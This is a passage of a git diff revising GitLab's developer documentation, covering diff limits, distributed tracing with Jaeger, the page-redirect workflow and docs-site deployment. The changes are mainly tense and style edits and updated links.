+In January 2019, Oswaldo Ferreira hosted a Deep Dive (GitLab team members only:
+`https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab Diffs and Commenting on Diffs
+functionality to share his domain specific knowledge with anyone who may work in this part of the
+codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek),
+and the slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit)
+and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/).
+Everything covered in this deep dive was accurate as of GitLab 11.7, and while specific details may
+have changed since then, it should still serve as a good introduction.
## Architecture overview
@@ -56,8 +63,7 @@ of hitting the repository every time we need the diff of the file, we:
## Diff limits
As explained above, we limit single diff files and the size of the whole diff. There are scenarios where we collapse the diff file,
-and cases where the diff file is not presented at all, and the user is guided to the Blob view. Here we'll go into details about
-these limits.
+and cases where the diff file is not presented at all, and the user is guided to the Blob view.
### Diff collection limits
@@ -67,40 +73,40 @@ Limits that act onto all diff files collection. Files number, lines number and f
Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_files] = 100
```
-File diffs will be collapsed (but be expandable) if 100 files have already been rendered.
+File diffs are collapsed (but are expandable) if 100 files have already been rendered.
```ruby
Gitlab::Git::DiffCollection.collection_limits[:safe_max_lines] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000
```
-File diffs will be collapsed (but be expandable) if 5000 lines have already been rendered.
+File diffs are collapsed (but be expandable) if 5000 lines have already been rendered.
```ruby
Gitlab::Git::DiffCollection.collection_limits[:safe_max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] * 5.kilobytes = 500.kilobytes
```
-File diffs will be collapsed (but be expandable) if 500 kilobytes have already been rendered.
+File diffs are collapsed (but be expandable) if 500 kilobytes have already been rendered.
```ruby
Gitlab::Git::DiffCollection.collection_limits[:max_files] = Commit::DIFF_HARD_LIMIT_FILES = 1000
```
-No more files will be rendered at all if 1000 files have already been rendered.
+No more files are rendered at all if 1000 files have already been rendered.
```ruby
Gitlab::Git::DiffCollection.collection_limits[:max_lines] = Commit::DIFF_HARD_LIMIT_LINES = 50000
```
-No more files will be rendered at all if 50,000 lines have already been rendered.
+No more files are rendered at all if 50,000 lines have already been rendered.
```ruby
Gitlab::Git::DiffCollection.collection_limits[:max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:max_files] * 5.kilobytes = 5000.kilobytes
```
-No more files will be rendered at all if 5 megabytes have already been rendered.
+No more files are rendered at all if 5 megabytes have already been rendered.
-All collection limit parameters are currently sent and applied on Gitaly. That is, once the limit is surpassed,
-Gitaly will only return the safe amount of data to be persisted on `merge_request_diff_files`.
+All collection limit parameters are sent and applied on Gitaly. That is, after the limit is surpassed,
+Gitaly only returns the safe amount of data to be persisted on `merge_request_diff_files`.
### Individual diff file limits
@@ -110,24 +116,24 @@ Limits that act onto each diff file of a collection. Files number, lines number
Diff patches are collapsed when surpassing 10% of the value set in `ApplicationSettings#diff_max_patch_bytes`.
That is, it's equivalent to 10kb if the maximum allowed value is 100kb.
-The diff will still be persisted and expandable if the patch size doesn't
+The diff is persisted and expandable if the patch size doesn't
surpass `ApplicationSettings#diff_max_patch_bytes`.
Although this nomenclature (Collapsing) is also used on Gitaly, this limit is only used on GitLab (hardcoded - not sent to Gitaly).
-Gitaly will only return `Diff.Collapsed` (RPC) when surpassing collection limits.
+Gitaly only returns `Diff.Collapsed` (RPC) when surpassing collection limits.
#### Not expandable patches (too large)
The patch not be rendered if it's larger than `ApplicationSettings#diff_max_patch_bytes`.
-Users will see a `This source diff could not be displayed because it is too large` message.
+Users see a `This source diff could not be displayed because it is too large` message.
```ruby
Commit::DIFF_SAFE_LINES = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000
```
-File diff will be suppressed (technically different from collapsed, but behaves the same, and is expandable) if it has more than 5000 lines.
+File diff is suppressed (technically different from collapsed, but behaves the same, and is expandable) if it has more than 5000 lines.
-This limit is currently hardcoded and only applied on GitLab.
+This limit is hardcoded and only applied on GitLab.
## Viewers
diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md
index 6d277f9ae99..9228609aae9 100644
--- a/doc/development/distributed_tracing.md
+++ b/doc/development/distributed_tracing.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Distributed Tracing - development guidelines
@@ -49,7 +49,7 @@ all subsystems at GitLab:
- Correlation IDs should never be used to pass context (for example, a username or an IP address).
- Correlation IDs should never be _parsed_, or manipulated in other ways (for example, split).
-The [LabKit library](https://gitlab.com/gitlab-org/labkit) provides a standardized interface for working with GitLab's
+The [LabKit library](https://gitlab.com/gitlab-org/labkit) provides a standardized interface for working with GitLab
correlation IDs in the Go programming language. LabKit can be used as a
reference implementation for developers working with tracing and correlation IDs
on non-Go GitLab subsystems.
@@ -59,7 +59,7 @@ on non-Go GitLab subsystems.
GitLab uses the `GITLAB_TRACING` environment variable to configure distributed tracing. The same
configuration is used for all components (e.g., Workhorse, Rails, etc).
-When `GITLAB_TRACING` is not set, the application will not be instrumented, meaning that there is
+When `GITLAB_TRACING` is not set, the application isn't instrumented, meaning that there is
no overhead at all.
To enable `GITLAB_TRACING`, a valid _"configuration-string"_ value should be set, with a URL-like
@@ -94,8 +94,8 @@ by typing `p` `b` in the browser window.
Once the performance bar is enabled, click on the **Trace** link in the performance bar to go to
the Jaeger UI.
-The Jaeger search UI will return a query for the `Correlation-ID` of the current request. Normally,
-this search should return a single trace result. Clicking this result will show the detail of the
+The Jaeger search UI returns a query for the `Correlation-ID` of the current request. Normally,
+this search should return a single trace result. Clicking this result shows the detail of the
trace in a hierarchical time-line.
![Jaeger Search UI](img/distributed_tracing_jaeger_ui.png)
@@ -154,7 +154,7 @@ This should start the process with the default listening ports.
### 2. Configure the `GITLAB_TRACING` environment variable
-Once you have Jaeger running, you'll need to configure the `GITLAB_TRACING` variable with the
+Once you have Jaeger running, configure the `GITLAB_TRACING` variable with the
appropriate configuration string.
**TL;DR:** If you are running everything on the same host, use the following value:
@@ -178,9 +178,9 @@ This configuration string uses the Jaeger driver `opentracing://jaeger` with the
| `udp_endpoint` | `localhost:6831` | This is the default. Configures Jaeger to send trace information to the UDP listener on port `6831` using compact thrift protocol. Note that we've experienced some issues with the [Jaeger Client for Ruby](https://github.com/salemove/jaeger-client-ruby) when using this protocol. |
| `sampler` | `probabalistic` | Configures Jaeger to use a probabilistic random sampler. The rate of samples is configured by the `sampler_param` value. |
| `sampler_param` | `0.01` | Use a ratio of `0.01` to configure the `probabalistic` sampler to randomly sample _1%_ of traces. |
-| `service_name` | `api` | Override the service name used by the Jaeger backend. This parameter will take precedence over the application-supplied value. |
+| `service_name` | `api` | Override the service name used by the Jaeger backend. This parameter takes precedence over the application-supplied value. |
-NOTE: **Note:**
+NOTE:
The same `GITLAB_TRACING` value should to be configured in the environment
variables for all GitLab processes, including Workhorse, Gitaly, Rails, and Sidekiq.
@@ -189,7 +189,7 @@ variables for all GitLab processes, including Workhorse, Gitaly, Rails, and Side
After the `GITLAB_TRACING` environment variable is exported to all GitLab services, start the
application.
-When `GITLAB_TRACING` is configured properly, the application will log this on startup:
+When `GITLAB_TRACING` is configured properly, the application logs this on startup:
```shell
13:41:53 gitlab-workhorse.1 | 2019/02/12 13:41:53 Tracing enabled
@@ -198,7 +198,7 @@ When `GITLAB_TRACING` is configured properly, the application will log this on s
...
```
-If `GITLAB_TRACING` is not configured correctly, this will also be logged:
+If `GITLAB_TRACING` is not configured correctly, this issue is logged:
```shell
13:43:45 gitaly.1 | 2019/02/12 13:43:45 skipping tracing configuration step: tracer: unable to load driver mytracer
@@ -215,6 +215,6 @@ not set.
By default, the Jaeger search UI is available at <http://localhost:16686/search>.
-TIP: **Tip:**
-Don't forget that you will need to generate traces by using the application before
+NOTE:
+Don't forget that you must generate traces by using the application before
they appear in the Jaeger UI.
diff --git a/doc/development/doc_styleguide.md b/doc/development/doc_styleguide.md
index 4a9f2a626f7..1595a841ade 100644
--- a/doc/development/doc_styleguide.md
+++ b/doc/development/doc_styleguide.md
@@ -3,3 +3,6 @@ redirect_to: 'documentation/styleguide.md'
---
This document was moved to [another location](documentation/styleguide.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/documentation/feature-change-workflow.md b/doc/development/documentation/feature-change-workflow.md
index 004d8833e63..78e5510ffca 100644
--- a/doc/development/documentation/feature-change-workflow.md
+++ b/doc/development/documentation/feature-change-workflow.md
@@ -3,3 +3,6 @@ redirect_to: 'workflow.md'
---
This document was moved to [another location](workflow.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/documentation/feature_flags.md b/doc/development/documentation/feature_flags.md
index 5bc3e1d59e2..59298c5345f 100644
--- a/doc/development/documentation/feature_flags.md
+++ b/doc/development/documentation/feature_flags.md
@@ -30,7 +30,7 @@ See how to document them below, according to the state of the flag:
- [Features that can be enabled or disabled for a single project](#features-enabled-by-project).
- [Features with the feature flag removed](#features-with-flag-removed).
-The [`**(CORE ONLY)**`](styleguide/index.md#product-badges) badge or equivalent for
+The [`**(CORE ONLY)**`](styleguide/index.md#product-tier-badges) badge or equivalent for
the feature's tier should be added to the line and heading that refers to
enabling/disabling feature flags as Admin access is required to do so,
therefore, it indicates that it cannot be done by regular users of GitLab.com.
@@ -65,7 +65,7 @@ be enabled for a single project, and is not ready for production use:
> - It's not recommended for production use.
> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#anchor-to-section). **(CORE ONLY)**
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
(...Regular content goes here...)
@@ -124,7 +124,7 @@ use:
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)**
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
(...Regular content goes here...)
@@ -180,7 +180,7 @@ cannot be enabled for a single project, and is ready for production use:
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)**
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
(...Regular content goes here...)
@@ -253,7 +253,7 @@ be enabled by project, and is ready for production use:
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)**
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
(...Regular content goes here...)
diff --git a/doc/development/documentation/improvement-workflow.md b/doc/development/documentation/improvement-workflow.md
index 004d8833e63..78e5510ffca 100644
--- a/doc/development/documentation/improvement-workflow.md
+++ b/doc/development/documentation/improvement-workflow.md
@@ -3,3 +3,6 @@ redirect_to: 'workflow.md'
---
This document was moved to [another location](workflow.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md
index 69a8ff10878..5fb5e9b433a 100644
--- a/doc/development/documentation/index.md
+++ b/doc/development/documentation/index.md
@@ -1,13 +1,13 @@
---
stage: none
group: Documentation Guidelines
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: Learn how to contribute to GitLab Documentation.
---
# GitLab Documentation guidelines
-GitLab's documentation is [intended as the single source of truth (SSOT)](https://about.gitlab.com/handbook/documentation/) for information about how to configure, use, and troubleshoot GitLab. The documentation contains use cases and usage instructions for every GitLab feature, organized by product area and subject. This includes topics and workflows that span multiple GitLab features, and the use of GitLab with other applications.
+The GitLab documentation is [intended as the single source of truth (SSOT)](https://about.gitlab.com/handbook/documentation/) for information about how to configure, use, and troubleshoot GitLab. The documentation contains use cases and usage instructions for every GitLab feature, organized by product area and subject. This includes topics and workflows that span multiple GitLab features, and the use of GitLab with other applications.
In addition to this page, the following resources can help you craft and contribute to documentation:
@@ -38,8 +38,8 @@ Documentation issues and merge requests are part of their respective repositorie
The [CI pipeline for the main GitLab project](../pipelines.md) is configured to automatically
run only the jobs that match the type of contribution. If your contribution contains
-**only** documentation changes, then only documentation-related jobs will be run, and
-the pipeline will complete much faster than a code contribution.
+**only** documentation changes, then only documentation-related jobs run, and
+the pipeline completes much faster than a code contribution.
If you are submitting documentation-only changes to Runner, Omnibus, or Charts,
the fast pipeline is not determined automatically. Instead, create branches for
@@ -82,7 +82,7 @@ All values are treated as strings and are only used for the
Each page should ideally have metadata related to the stage and group it
belongs to, as well as an information block as described below:
-- `stage`: The [Stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages)
+- `stage`: The [Stage](https://about.gitlab.com/handbook/product/categories/#devops-stages)
to which the majority of the page's content belongs.
- `group`: The [Group](https://about.gitlab.com/company/team/structure/#product-groups)
to which the majority of the page's content belongs.
@@ -93,7 +93,7 @@ belongs to, as well as an information block as described below:
```plaintext
To determine the technical writer assigned to the Stage/Group
associated with this page, see
- https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+ https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
```
For example, the following metadata would be at the beginning of a product
@@ -104,7 +104,7 @@ feature:
---
stage: Monitor
group: APM
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
```
@@ -152,7 +152,7 @@ comments: false
Each page can have additional, optional metadata (set in the
[default.html](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/fc3577921343173d589dfa43d837b4307e4e620f/layouts/default.html#L30-52)
-Nanoc layout), which will be displayed at the top of the page if defined:
+Nanoc layout), which is displayed at the top of the page if defined:
- `reading_time`: If you want to add an indication of the approximate reading
time of a page, you can set `reading_time` to `true`. This uses a simple
@@ -161,78 +161,82 @@ Nanoc layout), which will be displayed at the top of the page if defined:
## Move or rename a page
-Moving or renaming a document is the same as changing its location. This process
-requires specific steps to ensure that visitors can find the new
-documentation page, whether they're using `/help` from a GitLab instance or by
-visiting <https://docs.gitlab.com>.
-
-Be sure to assign a technical writer to a page move or rename MR. Technical
+Moving or renaming a document is the same as changing its location.
+Be sure to assign a technical writer to any MR that renames or moves a page. Technical
Writers can help with any questions and can review your change.
-To change a document's location, don't remove the old document, but instead
-replace all of its content with the following:
+When moving or renaming a page, you must redirect browsers to the new page. This
+ensures users find the new page, and have the opportunity to update their bookmarks.
-```markdown
----
-redirect_to: '../path/to/file/index.md'
----
+There are two types of redirects:
-This document was moved to [another location](../path/to/file/index.md).
-```
+- Redirect files added into the docs themselves, for users who view the docs in `/help`
+ on self-managed instances. For example, [`/help` on GitLab.com](https://gitlab.com/help).
+- Redirects in a [`_redirects`](../../user/project/pages/redirects.md) file, for users
+ who view the docs on <http://docs.gitlab.com>.
-Replace `../path/to/file/index.md` with the relative path to the old document.
+To add a redirect:
-The `redirect_to` variable supports both full and relative URLs; for example:
+1. In an MR in one of the internal docs projects (`gitlab`, `gitlab-runner`, `omnibus-gitlab`
+ or `charts`):
+ 1. Move or rename the doc, but do not delete the old doc.
+ 1. In the old doc, add the redirect code for `/help`. Use the following template exactly,
+ and only change the links and date. Use relative paths and `.md` for a redirect
+ to another docs page. Use the full URL to redirect to a different project or site:
-- `https://docs.gitlab.com/ee/path/to/file.html`
-- `../path/to/file.html`
-- `path/to/file.md`
+ ```markdown
+ ---
+ redirect_to: '../path/to/file/index.md'
+ ---
-The redirect works for <https://docs.gitlab.com>, and any `*.md` paths are
-changed to `*.html`. The description line following the `redirect_to` code
-informs the visitor that the document changed location if the redirect process
-doesn't complete successfully.
+ This document was moved to [another location](../path/to/file/index.md).
-For example, if you move `doc/workflow/lfs/index.md` to
-`doc/administration/lfs.md`, then the steps would be:
+ <!-- This redirect file can be deleted after <YYYY-MM-DD>. -->
+ <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
+ ```
-1. Copy `doc/workflow/lfs/index.md` to `doc/administration/lfs.md`
-1. Replace the contents of `doc/workflow/lfs/index.md` with:
+ Redirect files linking to docs in any of the 4 internal docs projects can be
+ removed after 3 months. Redirect files linking to external sites can be removed
+ after 1 year.
- ```markdown
- ---
- redirect_to: '../../administration/lfs.md'
- ---
+ 1. If the document being moved has any Disqus comments on it, follow the steps
+ described in [Redirections for pages with Disqus comments](#redirections-for-pages-with-disqus-comments).
+ 1. Assign the MR to a technical writer for review and merge.
+1. If the redirect is to one of the 4 internal docs projects (not an external URL),
+ create an MR in [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs):
+ 1. Update [`_redirects`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/content/_redirects)
+ with one redirect entry for each renamed or moved file. This code works for
+ <https://docs.gitlab.com> links only:
- This document was moved to [another location](../../administration/lfs.md).
- ```
+ ```plaintext
+ /ee/path/to/old_file.html /ee/path/to/new_file 302 # To be removed after YYYY-MM-DD
+ ```
-1. Find and replace any occurrences of the old location with the new one.
- A quick way to find them is to use `git grep` on the repository you changed
- the file from:
+ The path must start with the internal project directory `/ee` for `gitlab`,
+ `/gitlab-runner`, `/omnibus-gitlab` or `charts`, and must end with `.html`.
- ```shell
- git grep -n "workflow/lfs/lfs_administration"
- git grep -n "lfs/lfs_administration"
- ```
+ `_redirects` entries can be removed after one year.
-1. If the document being moved has any Disqus comments on it, follow the steps
- described in [Redirections for pages with Disqus comments](#redirections-for-pages-with-disqus-comments).
+1. Search for links to the old file. You must find and update all links to the old file:
-Things to note:
+ - In <https://gitlab.com/gitlab-com/www-gitlab-com>, search for full URLs:
+ `grep -r "docs.gitlab.com/ee/path/to/file.html" .`
+ - In <https://gitlab.com/gitlab-org/gitlab-docs/-/tree/master/content/_data>,
+ search the navigation bar configuration files for the path with `.html`:
+ `grep -r "path/to/file.html" .`
+ - In any of the 4 internal projects. This includes searching for links in the docs
+ and codebase. Search for all variations, including full URL and just the path.
+ In macOS for example, go to the root directory of the `gitlab` project and run:
-- Since we also use inline documentation, except for the documentation itself,
- the document might also be referenced in the views of GitLab (`app/`) which will
- render when visiting `/help`, and sometimes in the testing suite (`spec/`).
- You must search these paths for references to the doc and update them as well.
-- The above `git grep` command will search recursively in the directory you run
- it in for `workflow/lfs/lfs_administration` and `lfs/lfs_administration`
- and will print the file and the line where this file is mentioned.
- You may ask why the two greps. Since [we use relative paths to link to
- documentation](styleguide/index.md#links), sometimes it might be useful to search a path deeper.
-- The `*.md` extension is not used when a document is linked to GitLab's
- built-in help page, which is why we omit it in `git grep`.
-- Use the checklist on the "Change documentation location" MR description template.
+ ```shell
+ grep -r "docs.gitlab.com/ee/path/to/file.html" .
+ grep -r "path/to/file.html" .
+ grep -r "path/to/file.md" .
+ grep -r "path/to/file" .
+ ```
+
+ You may need to try variations of relative links as well, such as `../path/to/file`
+ or even `../file` to find every case.
### Redirections for pages with Disqus comments
@@ -249,7 +253,7 @@ available under `https://docs.gitlab.com/my-old-location/README.html` to a new l
`https://docs.gitlab.com/my-new-location/index.html`.
Into the **new document** front matter, we add the following information. You must
-include the file name in the `disqus_identifier` URL, even if it's `index.html` or `README.html`.
+include the filename in the `disqus_identifier` URL, even if it's `index.html` or `README.html`.
```yaml
---
@@ -267,7 +271,7 @@ Before getting started, make sure you read the introductory section
- Label the MR `Documentation` (can only be done by people with `developer` access, for example, GitLab team members)
- Assign the correct milestone per note below (can only be done by people with `developer` access, for example, GitLab team members)
-Documentation will be merged if it is an improvement on existing content,
+Documentation is merged if it is an improvement on existing content,
represents a good-faith effort to follow the template and style standards,
and is believed to be accurate.
@@ -285,16 +289,16 @@ Every GitLab instance includes the documentation, which is available at `/help`
(`https://gitlab.example.com/help`). For example, <https://gitlab.com/help>.
The documentation available online on <https://docs.gitlab.com> is deployed every four hours from the `master` branch of GitLab, Omnibus, and Runner. Therefore,
-after a merge request gets merged, it will be available online on the same day.
-However, it will be shipped (and available on `/help`) within the milestone assigned
+after a merge request gets merged, it is available online on the same day.
+However, it's shipped (and available on `/help`) within the milestone assigned
to the MR.
For example, let's say your merge request has a milestone set to 11.3, which
-will be released on 2018-09-22. If it gets merged on 2018-09-15, it will be
+a release date of 2018-09-22. If it gets merged on 2018-09-15, it is
available online on 2018-09-15, but, as the feature freeze date has passed, if
the MR does not have a `~"Pick into 11.3"` label, the milestone has to be changed
-to 11.4 and it will be shipped with all GitLab packages only on 2018-10-22,
-with GitLab 11.4. Meaning, it will only be available under `/help` from GitLab
+to 11.4 and it ships with all GitLab packages only on 2018-10-22,
+with GitLab 11.4. Meaning, it's available only with `/help` from GitLab
11.4 onward, but available on <https://docs.gitlab.com/> on the same day it was merged.
### Linking to `/help`
@@ -365,7 +369,7 @@ You can combine one or more of the following:
### GitLab `/help` tests
Several [RSpec tests](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/features/help_pages_spec.rb)
-are run to ensure GitLab documentation renders and works correctly. In particular, that [main docs landing page](../../README.md) will work correctly from `/help`.
+are run to ensure GitLab documentation renders and works correctly. In particular, that [main docs landing page](../../README.md) works correctly from `/help`.
For example, [GitLab.com's `/help`](https://gitlab.com/help).
## Docs site architecture
@@ -381,7 +385,7 @@ on how the left-side navigation menu is built and updated.
## Previewing the changes live
-NOTE: **Note:**
+NOTE:
To preview your changes to documentation locally, follow this
[development guide](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/README.md#development-when-contributing-to-gitlab-documentation) or [these instructions for GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/gitlab_docs.md).
@@ -392,20 +396,20 @@ The live preview is currently enabled for the following projects:
If your merge request has docs changes, you can use the manual `review-docs-deploy` job
to deploy the docs review app for your merge request.
-You will need at least Maintainer permissions to be able to run it.
+You need at least Maintainer permissions to be able to run it.
![Manual trigger a docs build](img/manual_build_docs.png)
You must push a branch to those repositories, as it doesn't work for forks.
-The `review-docs-deploy*` job will:
+The `review-docs-deploy*` job:
-1. Create a new branch in the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs)
+1. Creates a new branch in the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs)
project named after the scheme: `docs-preview-$DOCS_GITLAB_REPO_SUFFIX-$CI_MERGE_REQUEST_IID`,
where `DOCS_GITLAB_REPO_SUFFIX` is the suffix for each product, e.g, `ee` for
EE, `omnibus` for Omnibus GitLab, etc, and `CI_MERGE_REQUEST_IID` is the ID
of the respective merge request.
-1. Trigger a cross project pipeline and build the docs site with your changes.
+1. Triggers a cross project pipeline and build the docs site with your changes.
In case the review app URL returns 404, this means that either the site is not
yet deployed, or something went wrong with the remote pipeline. Give it a few
@@ -414,11 +418,11 @@ remote pipeline from the link in the merge request's job output.
If the pipeline failed or got stuck, drop a line in the `#docs` chat channel.
Make sure that you always delete the branch of the merge request you were
-working on. If you don't, the remote docs branch won't be removed either,
-and the server where the Review Apps are hosted will eventually be out of
+working on. If you don't, the remote docs branch isn't removed either,
+and the server where the Review Apps are hosted can eventually run out of
disk space.
-TIP: **Tip:**
+NOTE:
Someone with no merge rights to the GitLab projects (think of forks from
contributors) cannot run the manual job. In that case, you can
ask someone from the GitLab team who has the permissions to do that for you.
@@ -449,7 +453,7 @@ If you want to know the in-depth details, here's what's really happening:
- The number of the merge request is added so that you can know by the
`gitlab-docs` branch name the merge request it originated from.
1. The remote branch is then created if it doesn't exist (meaning you can
- re-run the manual job as many times as you want and this step will be skipped).
+ re-run the manual job as many times as you want and this step is skipped).
1. A new cross-project pipeline is triggered in the docs project.
1. The preview URL is shown both at the job output and in the merge request
widget. You also get the link to the remote pipeline.
@@ -494,7 +498,7 @@ To run the tool on an existing screenshot generator, take the following steps:
1. Set up the [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/gitlab_docs.md).
1. Navigate to the subdirectory with your cloned GitLab repository, typically `gdk/gitlab`.
1. Make sure that your GDK database is fully migrated: `bin/rake db:migrate RAILS_ENV=development`.
-1. Install pngquant, see the tool website for more info: [`pngquant`](https://pngquant.org/)
+1. Install pngquant, see the tool website for more information: [`pngquant`](https://pngquant.org/)
1. Run `scripts/docs_screenshots.rb spec/docs_screenshots/<name_of_screenshot_generator>.rb <milestone-version>`.
1. Identify the location of the screenshots, based on the `gitlab/doc` location defined by the `it` parameter in your script.
1. Commit the newly created screenshots.
@@ -537,8 +541,12 @@ To have the screenshot focuses few more steps are needed:
- **wait for the content**: `expect(screenshot_area).to have_content 'Expiration interval'`
- **set the crop area**: `set_crop_data(screenshot_area, 20)`
-In particular `set_crop_data` accepts as arguments: a `DOM` element and a padding, the padding will be added around the element enlarging the screenshot area.
+In particular, `set_crop_data` accepts as arguments: a `DOM` element and a
+padding. The padding is added around the element, enlarging the screenshot area.
#### Live example
Please use `spec/docs_screenshots/container_registry_docs.rb` as a guide and as an example to create your own scripts.
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/documentation/restful_api_styleguide.md b/doc/development/documentation/restful_api_styleguide.md
index 13c6140114f..c8c48e71b48 100644
--- a/doc/development/documentation/restful_api_styleguide.md
+++ b/doc/development/documentation/restful_api_styleguide.md
@@ -3,7 +3,7 @@ type: reference, dev
stage: none
group: Development
info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
-description: "Writing styles, markup, formatting, and other standards for GitLab's RESTful APIs."
+description: "Writing styles, markup, formatting, and other standards for the GitLab RESTful APIs."
---
# RESTful API
@@ -107,10 +107,10 @@ Rendered example:
## cURL Examples
-The following sections include a set of [cURL](https://curl.haxx.se) examples
+The following sections include a set of [cURL](https://curl.se/) examples
you can use in the API documentation.
-CAUTION: **Caution:**
+WARNING:
Do not use information for real users, URLs, or tokens. For documentation, refer to our
relevant style guide sections on [Fake user information](styleguide/index.md#fake-user-information),
[Fake URLs](styleguide/index.md#fake-urls), and [Fake tokens](styleguide/index.md#fake-tokens).
diff --git a/doc/development/documentation/site_architecture/deployment_process.md b/doc/development/documentation/site_architecture/deployment_process.md
index f101a669968..d92f58e5501 100644
--- a/doc/development/documentation/site_architecture/deployment_process.md
+++ b/doc/development/documentation/site_architecture/deployment_process.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Documentation deployment process
@@ -36,7 +36,7 @@ and tag all tooling images locally:
```
For each image, there's a manual job under the `images` stage in
-[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/.gitlab-ci.yml) which can be invoked at will.
+[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/.gitlab-ci.yml) which can be invoked at any time.
## Update an old Docker image with new upstream docs content
@@ -46,12 +46,12 @@ for the version in question.
## Porting new website changes to old versions
-CAUTION: **Warning:**
+WARNING:
Porting changes to older branches can have unintended effects as we're constantly
changing the backend of the website. Use only when you know what you're doing
and make sure to test locally.
-The website will keep changing and being improved. In order to consolidate
+The website keeps changing and being improved. In order to consolidate
those changes to the stable branches, we'd need to pick certain changes
from time to time.
diff --git a/doc/development/documentation/site_architecture/global_nav.md b/doc/development/documentation/site_architecture/global_nav.md
index 21b0c4b6b43..fcf4662502f 100644
--- a/doc/development/documentation/site_architecture/global_nav.md
+++ b/doc/development/documentation/site_architecture/global_nav.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: "Learn how GitLab docs' global navigation works and how to add new items."
---
@@ -101,11 +101,11 @@ The global nav has 3 components:
The available sections are described on the table below:
-| Section | Description |
-| ------------- | ------------------------------------------ |
-| User | Documentation for the GitLab's user UI. |
-| Administrator | Documentation for the GitLab's Admin Area. |
-| Contributor | Documentation for developing GitLab. |
+| Section | Description |
+| ------------- | ------------------------------------ |
+| User | Documentation for the GitLab UI. |
+| Administrator | Documentation for the Admin Area. |
+| Contributor | Documentation for developing GitLab. |
The majority of the links available on the nav were added according to the UI.
The match is not perfect, as for some UI nav items the documentation doesn't
@@ -250,7 +250,7 @@ below the doc link:
```
All nav links are clickable. If the higher-level link does not have a link
-of its own, it must link to its first sub-item link, mimicking GitLab's navigation.
